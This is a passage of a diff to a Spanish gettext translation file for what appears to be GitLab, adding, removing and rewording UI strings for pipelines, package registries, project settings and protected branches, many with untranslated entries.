-msgstr "Las autorizaciones de los merge request le permiten establecer el número de autorizaciones necesarias y predefinir una lista de usuarios autorizadores que deben autorizar cada merge request en un proyecto."
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] "Hito"
msgstr[1] "Hitos"
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "Las listas de hitos no están disponibles con tu licencia actual"
@@ -19638,6 +20110,12 @@ msgstr "Se ha desactivado la replica."
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr "Más"
msgid "More Information"
msgstr "Más información"
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr "Más comandos de Slack"
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr "Nombre"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr "El nombre ya está en uso"
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "Nunca"
@@ -20199,9 +20692,6 @@ msgstr "Nueva importación de Jira"
msgid "New Label"
msgstr "Nueva etiqueta"
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr "Nuevo hito"
@@ -20367,6 +20857,9 @@ msgstr "Siguiente"
msgid "Next commit"
msgstr "Siguiente commit"
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr "Siguiente archivo en diff"
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr "No hay métodos de autenticación configurados."
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,8 +20974,8 @@ msgstr "No hay errores para mostrar."
msgid "No estimate or time spent"
msgstr "Sin estimación o tiempo gastado"
-msgid "No file chosen"
-msgstr "No se ha seleccionado ningún archivo"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr ""
@@ -20529,6 +21025,9 @@ msgstr "Sin licencia. Todos los derechos reservados"
msgid "No matches found"
msgstr "No hay coincidencias"
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr "No hay etiquetas coincidentes"
@@ -20616,6 +21115,9 @@ msgstr "No hay ningún favorito que coincida con su búsqueda"
msgid "No start date"
msgstr "Sin fecha de inicio"
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr "Ninguna plantilla"
@@ -20787,6 +21289,26 @@ msgstr "Configuración de las notificaciones - %{notification_title}"
msgid "Notification settings saved"
msgstr "Configuración de las notificaciones guardada"
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr "Número de réplicas de Elasticsearch"
msgid "Number of Elasticsearch shards"
msgstr "Número de shards de Elasticsearch"
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr "Número de LOCs por commit"
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr "Escaneos bajo demanda"
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr "Oops, ¿está seguro?"
msgid "Open"
msgstr "Abierta"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr "Abrir la selección"
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr "Incidencias abiertas"
-
msgid "Open raw"
msgstr "Abrir raw"
@@ -21311,12 +21827,15 @@ msgstr "Abrir barra lateral"
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
-msgstr "Abierto"
+msgid "OpenAPI"
+msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
msgstr ""
+msgid "Opened"
+msgstr "Abierto"
+
msgid "Opened MRs"
msgstr "MRs abiertos"
@@ -21329,6 +21848,9 @@ msgstr "Abierto"
msgid "Opens in a new window"
msgstr "Abre en una nueva ventana"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr "La operación ha fallado. Por favor, compruebe los registros del pod para %{pod_name} para más obtener más información."
@@ -21380,6 +21902,9 @@ msgstr "Opciones"
msgid "Or you can choose one of the suggested colors below"
msgstr "O puede seleccionar alguno de los colores sugeridos a continuación"
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr "Añadir un remoto de Conan"
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "Añadir fuente de NuGet"
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr "Copiar comando de Conan"
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr "Copiar el comando de configuración de Conan"
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Copiar Maven XML"
@@ -21542,6 +22076,9 @@ msgstr "Copiar comando de configuración de NuGet"
msgid "PackageRegistry|Copy Pip command"
msgstr "Copiar comando de Pip"
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr "Copie y pegue esto dentro del bloque %{codeStart}dependencies%{codeEnd} en el fichero %{codeStart}pom.xml%{codeEnd} ."
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Si todavía no lo ha hecho, necesitará añadir lo siguiente a su archivo %{codeStart}.pypirc%{codeEnd}."
@@ -21617,9 +22157,6 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Comando Maven"
-msgid "PackageRegistry|Maven XML"
-msgstr "Maven XML"
-
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr "Eliminar paquete"
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr "publicado por %{author}"
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr "Conan"
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr "Maven"
-
-msgid "PackageType|NuGet"
-msgstr "NuGet"
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "Paquetes"
@@ -21974,11 +22517,20 @@ msgstr "Llamadas de Rugged"
msgid "PerformanceBar|SQL queries"
msgstr "consultas SQL"
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
-msgstr "traza"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
+msgstr ""
msgid "Permissions"
msgstr "Permisos"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr "Commit"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr "Cobertura"
-
msgid "Pipeline|Created"
msgstr "Creado"
@@ -22328,6 +22877,9 @@ msgstr "Nombre de la rama o etiqueta existente"
msgid "Pipeline|Failed"
msgstr "Fallido"
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr "Clave"
@@ -22403,6 +22955,18 @@ msgstr "¿Desea detener la ejecución del pipeline #%{pipelineId}?"
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr "Por favor, acepte los términos del servicio antes de continuar."
msgid "Please add a comment in the text area above"
msgstr "Por favor agregue un comentario en el cuadre de texto situado en la parte superior"
-msgid "Please add a list to your board first"
-msgstr "Por favor, agregue una lista primero a su tablero"
-
msgid "Please check the configuration file for this chart"
msgstr "Por favor, compruebe el archivo de configuración de este gráfico"
@@ -22625,12 +23186,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "Por favor resuelva el reCAPTCHA"
-
msgid "Please try again"
msgstr "Por favor inténtelo de nuevo"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr "Por favor, escriba %{phrase_code} para continuar o cierre esta ventana modal para cancelar."
@@ -22664,6 +23225,18 @@ msgstr "Pods en uso"
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr "Artefactos anteriores"
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr "Etiquetas priorizadas"
msgid "Prioritized label"
msgstr "Etiquetas priorizada"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr "Privado"
@@ -23108,8 +23693,8 @@ msgstr "A hecho una contribución privada"
msgid "Profiles|Main settings"
msgstr "Configuración principal"
-msgid "Profiles|No file chosen"
-msgstr "No hay ningún archivo seleccionado"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "Dirección de correo electrónico de notificación"
@@ -23498,6 +24083,9 @@ msgstr "Ha alcanzado el límite de su proyecto"
msgid "ProjectOverview|You must sign in to star a project"
msgstr "Debe iniciar sesión para marcar como favorito un proyecto"
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "ID de proyecto: %{project_id}"
@@ -23513,50 +24101,83 @@ msgstr "%{service_title}: estado desactivado"
msgid "ProjectService|%{service_title}: status on"
msgstr "%{service_title}: estado activado"
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "Realice operaciones comunes en el proyecto GitLab: %{project_name}"
-msgid "ProjectService|To set up this service:"
-msgstr "Para configurar este servicio:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
-msgstr "Opciones adicionales de los merge request que influyen cómo y cuándo se realizarán los merges"
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
+msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
msgstr "Todas las discusiones deben ser resueltas"
@@ -23609,26 +24230,29 @@ msgstr "Registro de contenedores"
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr "Desactivar notificaciones por correo electrónico"
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
-msgstr "Habilitar la opción 'Eliminar rama de origen' por defecto"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
+msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
-msgstr "Todo merge crea un merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
+msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
msgstr "Cada proyecto puede tener su propio espacio para almacenar sus imágenes Docker"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr "Todos"
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,8 +24275,8 @@ msgstr "¡Se ha producido un error al actualizar la etiqueta!"
msgid "ProjectSettings|Fast-forward merge"
msgstr "Fast-forward merge"
-msgid "ProjectSettings|Fast-forward merges only"
-msgstr "Solo fast-forward merges"
+msgid "ProjectSettings|Fast-forward merges only."
+msgstr ""
msgid "ProjectSettings|Forks"
msgstr ""
@@ -23663,12 +24287,12 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
-msgstr ""
-
msgid "ProjectSettings|Internal"
msgstr "Interno"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
+msgstr ""
+
msgid "ProjectSettings|Issues"
msgstr "Incidencias"
@@ -23699,11 +24323,14 @@ msgstr "Opciones de Merge"
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
-msgstr "No se han creado merge commits"
+msgid "ProjectSettings|No merge commits are created."
+msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
msgstr "Nota: el registro de contenedores siempre es visible cuando el proyecto es público"
@@ -23726,15 +24353,9 @@ msgstr "Páginas"
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr "Pipelines"
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "La ejecución debe finalizar correctamente"
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr "Se deben configurar los pipelines para habilitar esta característica."
-
msgid "ProjectSettings|Private"
msgstr "Privado"
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,8 +24395,8 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
-msgstr "Mostrar el enlace para crear/ver los merge requests cuando se haga push desde la línea de comandos"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
+msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
msgstr ""
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
-msgstr "Las variables que soporta GitLab:"
-
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr "Estas comprobaciones deben pasar antes de que se pueda ejecutar el merge request"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
+msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr "Esta configuración se aplica a nivel del servidor pero se ha sobreescri
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "Esta configuración se aplicará a todos los proyectos a menos que sea sobreescrita por un administrador."
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
-msgstr "Esto determinará el historial de commits cuando se haga un merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,11 +24470,11 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
-msgstr "Cuando surgen conflictos, al usuario se le da la opción de realizar un rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
+msgstr ""
msgid "ProjectSettings|Wiki"
msgstr "Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr "Permitido merge"
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr "Aprobación del propietario del código"
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr "Requerir aprobación de los propietarios del código:"
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "Actualmente no hay ramas protegidas, proteja una rama con el formulario anterior."
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,8 +25424,8 @@ msgstr "Reduce la visibilidad del proyecto"
msgid "Reduce this project’s visibility?"
msgstr "¿Reducir la visibilidad de este proyecto?"
-msgid "Reference:"
-msgstr "Referencia:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -24954,7 +25587,7 @@ msgstr "Versiones"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,8 +25599,8 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
-msgstr "Se ha producido un error al obtener los detalles de la versión"
+msgid "Release|Something went wrong while getting the release details."
+msgstr ""
msgid "Release|Something went wrong while saving the release details"
msgstr "Se ha producido un error al guardar los detalles de la versión"
@@ -24990,6 +25623,9 @@ msgstr "Eliminar %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Eliminar la reunión de Zoom"
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr "Eliminar todos los asignados o los asignados específicos"
@@ -25038,9 +25674,6 @@ msgstr "Eliminar la relación del fork"
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr "Eliminar del tablero"
-
msgid "Remove from epic"
msgstr "Eliminar de la tarea épica"
@@ -25287,6 +25920,9 @@ msgstr "Informar de un abuso al administrador"
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Denunciado %{timeAgo} por %{reportedBy}"
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,8 +25966,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "Clase"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr "Nombre de la clase"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr "Fallo"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr "Se activó la verificación del repositorio."
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr "Limpieza del repositorio"
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr "Se ha revocado el token de acceso personal %{personal_access_token_name}
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr "En ejecución"
-msgid "Running…"
-msgstr "Ejecutando…"
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr "Ejecuta una serie de tareas de mantenimiento dentro del repositorio actual, como comprimir las revisiones de los archivos y eliminar objetos no disponibles."
@@ -26158,6 +26809,9 @@ msgstr "Guardar los cambios antes de realizar la prueba"
msgid "Save comment"
msgstr "Guardar comentario"
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
